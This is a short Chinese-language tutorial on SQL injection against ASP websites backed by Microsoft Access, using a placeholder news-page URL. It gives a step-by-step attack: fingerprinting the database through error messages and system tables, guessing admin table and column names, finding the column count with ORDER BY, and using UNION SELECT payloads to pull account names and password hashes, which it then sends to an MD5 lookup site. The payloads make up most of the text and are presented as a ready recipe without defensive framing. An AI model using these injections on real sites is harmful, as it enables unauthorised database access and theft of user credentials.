access网站注入
- 测试网站:
http://www.xxxx.com/news_view.asp?ClassID=1&newsid=60
- 注入步骤:
1.判断网站是否为access数据库
常用方法:
-
1)and (select count() from sysobjects)>0* 不报错则为SQL表
and (select count() from msysobjects)>0* 不报错则为access2)在地址栏上显示的连接所带的参数后面加些特殊符号,看它的报错信息,如 http://www.**.com?id=1’
则回返回错误,如果是Microsoft JET Database
Engine错误’80040e14’的话,则说明网站所用的数据库是Access数据库。3)如果目标数据库同时支持len函数和chr函数,且不支持length和char函数,则很可能是Access数据库。在不返回报错信息的情况下,这种方式是我最常用的。
2.查询数据库中有那些表
在URL后加上 and exists (select * from admin) //(这里不用让其报错)
admin为猜测的表名 ,可替换为user,username,adminuser,admin_user 等
这里返回正常页面,说明存在表admin
3.猜测表中字段
在URL后面加 and exists (select user/admin/password… from admin)
分别判断admin表中是否含有user ,admin, password等
password和username字段存在
4.获取字段数,并判断数字几存在返回点(联合查询)
-
判断字段数:
URL + order by 数字
当测试当11时返回错误,说明字段长为10 -
判断返回点
union select 1,2,3,4,5,6,7,8,9,10 from admin (这里需要URL的id改为-60让其报错)
判断出4和5存在返回点
5.联合查询,查询用户密码,账号
使用第3步中获取的用户名,密码
union select 1,2,3,username,password,6,7,8,9,10 from admin
至此获取了账户和未解密的密码(密码需在sodm5中解密)